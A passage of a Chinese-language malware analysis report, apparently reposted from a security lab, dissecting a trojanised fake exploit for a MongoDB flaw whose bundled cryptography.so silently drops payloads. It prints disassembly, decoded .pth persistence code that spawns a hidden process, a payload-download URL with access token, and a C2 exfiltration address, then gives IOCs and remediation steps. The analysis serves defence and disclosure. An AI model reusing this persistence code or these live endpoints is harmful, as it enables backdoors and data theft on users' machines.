&nbsp; &nbsp; cmp &nbsp; &nbsp;rcx, 0x1d0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; 共 464 字节
&nbsp; &nbsp; jne &nbsp; &nbsp;decrypt_loop_B

;; zlib 解压
;; 脚本A: uncompress(malloc(0xe18), 0xe18, encrypted_A, 0x386) -> 3608 字节
mov &nbsp; &nbsp;edi, 0xe18 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; 解压缓冲区大小 = 3608
call &nbsp; malloc@plt
mov &nbsp; &nbsp;ecx, 0x386 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; 压缩数据大小
call &nbsp; uncompress@plt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; zlib 解压

;; 脚本B: uncompress(malloc(0x740), 0x740, encrypted_B, 0x1d0) -> 1856 字节
mov &nbsp; &nbsp;edi, 0x740
call &nbsp; malloc@plt
mov &nbsp; &nbsp;ecx, 0x1d0
call &nbsp; uncompress@plt

;; 解密额外数据(32字节,偏移 0xb0-0xcf)
decrypt_loop_C:
&nbsp; &nbsp; xor &nbsp; &nbsp;[rbx+rcx], al
&nbsp; &nbsp; cmp &nbsp; &nbsp;rcx, 0x20 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 32 字节
&nbsp; &nbsp; jne &nbsp; &nbsp;decrypt_loop_C

阶段 4 – 写入恶意文件并执行

;; 使用解密的路径构造完整文件路径
;; 目标: {site-packages}/https.py, {site-packages}/pozos.py, {site-packages_root}/package.pth

;; mkdir 创建必要目录
call &nbsp; mkdir@plt

;; open + fwrite 写入解压后的恶意脚本
call &nbsp; open@plt
call &nbsp; fwrite@plt
call &nbsp; close@plt

;; 通过 system() 或 execve() 执行
call &nbsp; system@plt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;; 或
call &nbsp; execve@plt

;; 使用 posix_spawn 系列创建隐蔽子进程
call &nbsp; posix_spawnattr_init
call &nbsp; posix_spawnattr_setsigmask
call &nbsp; posix_spawnattr_setsigdefault
call &nbsp; posix_spawnattr_setflags
call &nbsp; posix_spawn &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;; 创建子进程执行恶意代码
call &nbsp; posix_spawnattr_destroy
call &nbsp; waitpid

4.4 正常功能伪装

cryptography.so 也提供了正常的加密/解密功能供 logcrypt.core 使用:

"Encrypt message using RC4 + Base64" &nbsp;-> encrypt_message() 供加密日志使用
"Decrypt message using RC4 + Base64" &nbsp;-> decrypt_message() 供解密日志使用

这使得该库在正常使用时表现完全正常,只在 PyInit_cryptography() 初始化时静默执行恶意操作。


5. 恶意载荷详解

5.1 https.py(从 mapbox API 下载的远程载荷)

根据 GitHub Issue #22 的分析,该脚本从以下 URL 下载并执行远程代码:

https://api.mapbox.com/datasets/v1/mattallahsaed/cmismaye7000s1mp2v8fkn4lp/
features/dm370543acmdopk296nahbtua?access_token=pk.eyJ1IjoibWF0dGFsbGFoc2FlZCIs
ImEiOiJjbWlzbWpncWkwNHRmM2ZzMWd1eTBmanQ4In0.VNFutzqzaSVfDiwQFr7_gQ

[!WARNING] 攻击者利用 mapbox 的合法 GeoJSON API 作为恶意载荷分发渠道,绕过基于域名黑名单的安全检测。

5.2 pozos.py(数据外泄模块)

负责将窃取的数据上传到 C2 服务器:

http://139.99.54.58:8088/api/v2/uswwwkuch2w2hwcg

5.3 package.pth(持久化机制)

在 Python site-packages/ 目录下创建 package.pth 文件,利用 Python 的 .pth 文件自动执行机制实现持久化:

# package.pth 中嵌入的 base64 解码后的代码:
import&nbsp;os, sys, subprocess
env = os.environ.copy()

# 通过环境变量互斥锁防止重复执行
if"ZEBUWIAKGPHOQAP006"in&nbsp;env&nbsp;and&nbsp;env["ZEBUWIAKGPHOQAP006"] ==&nbsp;"PTsjBGKQUxZorq2":
if"JKHWQVEKRASDF12"notin&nbsp;env:
&nbsp; &nbsp; &nbsp; &nbsp; os.environ["JKHWQVEKRASDF12"] =&nbsp;"JKHKJ23VAS8DF9"
import&nbsp;https &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 加载远程下载的恶意模块
else:
&nbsp; &nbsp; env["ZEBUWIAKGPHOQAP006"] =&nbsp;"PTsjBGKQUxZorq2"
try:
# CREATE_NO_WINDOW = 0x08000000(Windows 隐藏窗口创建)
&nbsp; &nbsp; &nbsp; &nbsp; subprocess.Popen([sys.executable], creationflags=0x08000000, env=env)
except&nbsp;OSError:
pass

持久化原理: Python 启动时会自动扫描 site-packages/ 中的 .pth 文件,如果某行以 import 开头,Python 会自动执行该行代码。因此每次 Python 启动都会触发恶意代码。


6. 全部模块文件清单

从 PyInstaller 中提取的 84 个文件 + PYZ 中的 236 个模块:

| 文件/模块 | 大小 | 性质 | 说明 | | — | — | — | — | | exploit.pyc | 主入口 | 诱饵 | CVE-2025-14847 EXP | | logcrypt/cryptography.so | ~60KB | 恶意 | C 扩展后门核心 | | slogsec/secure.pyc | — | 触发器 | 调用 __slogsec_make_secure__ | | slogsec/__init__.pyc | — | 正常 | 模块导入 | | slogsec/log.pyc | — | 正常 | 日志封装 | | slogsec/decrypt.pyc | — | 正常 | 日志解密 | | logcrypt/__init__.pyc | — | 加载器 | 触发 .so 加载 | | logcrypt/core.pyc | — | 正常 | 加密日志 Handler | | logcrypt/key_manager.pyc | — | 正常 | 密钥管理 | | logcrypt/formatters.pyc | — | 正常 | 日志格式化 | | logcrypt/filters.pyc | — | 正常 | 日志过滤器 | | logcrypt/decrypt_log.pyc | — | 正常 | 日志解密 | | logcrypt/levels.pyc | — | 正常 | 日志级别定义 | | libpython3.12.so.1.0 | 运行时 | 正常 | Python 共享库 | | libssl.so.3libcrypto.so.3 | 运行时 | 正常 | OpenSSL | | Crypto/ | 库 | 正常 | PyCryptodome |


7. IOC (威胁指标)

# 文件哈希
SHA256: 8d68b11d1c847ecc7b3ec5f308c17d7fdfe2c0a2959f303c1fe17aa3a0b6baca
MD5: &nbsp; &nbsp;ae978caf837221519847c0764bc492a8

# C2 服务器
IP: &nbsp; 139.99.54.58
Port: 8088
URI: &nbsp;/api/v2/uswwwkuch2w2hwcg

# 载荷分发(利用合法服务)
域名: api.mapbox.com
账号: mattallahsaed
数据集: cmismaye7000s1mp2v8fkn4lp

# 持久化标志
文件: {site-packages}/package.pth
文件: {site-packages}/https.py
文件: {site-packages}/pozos.py
环境变量: ZEBUWIAKGPHOQAP006=PTsjBGKQUxZorq2
环境变量: JKHWQVEKRASDF12=JKHKJ23VAS8DF9
Python Builtins 属性: __slogsec_make_secure__

# 编译信息
编译器: GCC 11.3.0 (Debian)
Python: 3.12
PyInstaller: 2.1+

8. 应急建议

  1. 立即隔离

    运行过该文件的主机,断网排查

  2. 检查持久化

  • 搜索所有 Python 环境中的 package.pthhttps.pypozos.py
  1. 检查环境变量

    – ZEBUWIAKGPHOQAP006 和 JKHWQVEKRASDF12

  2. 网络封锁

  • 封锁 139.99.54.58,排查到该 IP 的历史连接
  1. 审计 .pth 文件
  • 全盘搜索所有 .pth 文件,检查是否有可疑的 import 行
  1. 凭据轮换
  • 受影响主机上的所有凭据、密钥、token 必须更换
  1. 日志取证
  • 分析网络流量日志中到 api.mapbox.com 和 139.99.54.58 的连接记录

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:白帽100安全攻防实验室 Ch1ngg Ch1ngg《MongoBleed 供应链攻击逆向分析报告(详细版)》

评论:0   参与:  0